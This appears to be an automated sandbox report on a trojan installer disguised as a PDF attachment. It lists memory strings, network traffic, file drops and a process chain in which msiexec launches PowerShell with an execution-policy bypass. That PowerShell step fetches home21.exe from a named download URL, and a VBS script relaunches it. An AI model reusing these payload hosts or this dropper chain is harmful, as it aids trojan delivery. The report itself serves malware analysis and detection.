Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://tl.symcd.com0&
Source: home21.exe, 00000006.00000003.1861648679.0000000009E0B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://winhomemodulo.ddns.net/w2/openU
Source: powershell.exe, 00000003.00000002.1859009151.0000000004E76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1862144445.00000000074B7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: home21.exe, 00000006.00000003.1862753592.0000000008060000.00000004.00001000.00020000.00000000.sdmp, home21.exe, 00000006.00000003.1861648679.000000000A80B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.borland.com/namespaces/Types
Source: home21.exe, 00000006.00000003.1862753592.0000000008060000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.borland.com/namespaces/Types-IWSDLPublish
Source: home21.exe, 00000006.00000003.1861648679.000000000A80B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.borland.com/rootpart.xml
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: home21.exe, 00000006.00000003.1862753592.0000000008060000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.indyproject.org/
Source: home21.exe, 00000006.00000003.1869307874.000000000D85E000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/editor/midasdemo/securityprefs.html
Source: powershell.exe, 00000003.00000002.1859009151.0000000004D21000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lBzq
Source: powershell.exe, 00000003.00000002.1861035297.0000000005D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1861035297.0000000005D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1861035297.0000000005D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 0000000B.00000003.3490855209.000001A07E2C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr, qmgr.db.11.dr String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.11.dr, qmgr.db.11.dr String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.11.dr, qmgr.db.11.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.11.dr, qmgr.db.11.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000000B.00000003.3490855209.000001A07E2C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000003.00000002.1859009151.0000000004E76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1862144445.00000000074B7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1859009151.0000000005545000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.1861035297.0000000005D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: chromecache_110.12.dr String found in binary or memory: https://ogs.google.com.br/
Source: chromecache_110.12.dr String found in binary or memory: https://ogs.google.com.br/widget/app/so
Source: svchost.exe, 0000000B.00000003.3490855209.000001A07E2C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr, qmgr.db.11.dr String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.11.dr String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: chromecache_110.12.dr String found in binary or memory: https://ssl.gstatic.com
Source: chromecache_146.12.dr String found in binary or memory: https://ssl.gstatic.com/images/icons/material/system/1x/done_black_16dp.png)
Source: chromecache_146.12.dr String found in binary or memory: https://ssl.gstatic.com/ui/v1/menu/checkmark2.png)
Source: powershell.exe, 00000003.00000002.1859009151.0000000005343000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://teste.me
Source: powershell.exe, 00000003.00000002.1859009151.0000000005343000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://teste.meulLRzq
Source: powershell.exe, 00000003.00000002.1859009151.0000000005343000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://teste.meull
Source: powershell.exe, 00000003.00000002.1859009151.0000000005386000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://teste.meuly.onDfo
Source: powershell.exe, 00000003.00000002.1859009151.0000000004E76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1859009151.0000000005386000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://teste.meuly.online
Source: powershell.exe, 00000003.00000002.1859009151.0000000005343000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1859009151.0000000005386000.00000004.00000800.00020000.00000000.sdmp, hANEXOPDF.PDF40 234057.msi String found in binary or memory: https://teste.meuly.online/xxx/home21.exe
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: https://www.advancedinstaller.com
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: chromecache_110.12.dr String found in binary or memory: https://www.google.com.br/log?format
Source: chromecache_110.12.dr String found in binary or memory: https://www.gstatic.com
Source: chromecache_110.12.dr String found in binary or memory: https://www.gstatic.com/_/boq-one-google/_/r/
Source: chromecache_110.12.dr String found in binary or memory: https://www.gstatic.com/_/mss/boq-one-google/_/js/k=boq-one-google.OneGoogleWidgetUi.en.Q0faXsEYlg8.
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: https://www.thawte.com/cps0/
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: https://www.thawte.com/repository0W
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown HTTPS traffic detected: 20.42.73.29:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 23.111.168.85:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.189.173.21:443 -> 192.168.2.4:49827 version: TLS 1.2

System Summary
barindex
PE file contains section with special chars
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\Public\Documents\home21.exe Jump to dropped file
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Creates files inside the system directory
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\6dba16.msi Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBB00.tmp Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBB6F.tmp Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBBBE.tmp Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBBDE.tmp Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\inprogressinstallinfo.ipi Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\SourceHash{B68A296D-3AC1-440D-8DF0-1D645D15B8C2} Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBC2D.tmp Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBC4E.tmp Jump to behavior
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Jump to behavior
Deletes files inside the Windows folder
Source: C:\Windows\System32\msiexec.exe File deleted: C:\Windows\Installer\MSIBB00.tmp Jump to behavior
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Windows\Installer\MSIBB00.tmp 426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
PE file contains more sections than normal
Source: home21.exe.3.dr Static PE information: Number of sections : 19 > 10
Sample file is different than original file name gathered from version info
Source: hANEXOPDF.PDF40 234057.msi Binary or memory string: OriginalFilenameAICustAct.dllF vs hANEXOPDF.PDF40 234057.msi
Source: hANEXOPDF.PDF40 234057.msi Binary or memory string: OriginalFilenamePowerShellScriptLauncher.dllF vs hANEXOPDF.PDF40 234057.msi
Source: home21.exe.3.dr Static PE information: Section: ZLIB complexity 0.98944091796875
Source: home21.exe.3.dr Static PE information: Section: ZLIB complexity 0.9931242028061225
Source: home21.exe.3.dr Static PE information: Section: ZLIB complexity 0.9928385416666666
Source: home21.exe.3.dr Static PE information: Section: ZLIB complexity 1.0045572916666667
Source: home21.exe.3.dr Static PE information: Section: ZLIB complexity 0.9993225164654226
Source: home21.exe.3.dr Static PE information: Section: .reloc ZLIB complexity 1.5
Source: classification engine Classification label: mal100.troj.evad.winMSI@28/107@23/14
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\Public\Documents\home21.exe Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7696:120:WilError_03
Source: C:\Users\Public\Documents\home21.exe Mutant created: \Sessions\1\BaseNamedObjects\brkurschmogesk-fdsfsdfsd
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\TEMP\~DF8830F0CE2430F0EE.TMP Jump to behavior
Source: Yara match File source: 00000006.00000003.1861648679.0000000009DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: unknown Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\DiavcthD.vbs"
Source: C:\Users\Public\Documents\home21.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\hANEXOPDF.PDF40 234057.msi"
Source: unknown Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding CE2D7E5D3114F90E94C35CC7545C98DA
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssBC6B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiBC58.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrBC59.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrBC5A.txt" -propSep " :<->: " -testPrefix "_testValue."
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\Public\Documents\home21.exe "C:\Users\Public\Documents\home21.exe"
Source: C:\Users\Public\Documents\home21.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://winhomemodulo.ddns.net/w2/
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2536 --field-trial-handle=2096,i,1416669243780171068,6153319539706403658,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\DiavcthD.vbs"
Source: unknown Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\DiavcthD.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Users\Public\Documents\home21.exe "C:\Users\Public\Documents\home21.exe"
Source: C:\Windows\System32\msiexec.exe Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding CE2D7E5D3114F90E94C35CC7545C98DA Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssBC6B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiBC58.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrBC59.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrBC5A.txt" -propSep " :<->: " -testPrefix "_testValue." Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\Public\Documents\home21.exe "C:\Users\Public\Documents\home21.exe" Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://winhomemodulo.ddns.net/w2/ Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2536 --field-trial-handle=2096,i,1416669243780171068,6153319539706403658,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: tsappcmp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: tsappcmp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: srclient.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: spp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: vssapi.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: vsstrace.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: ntmarta.dll Jump to behavior
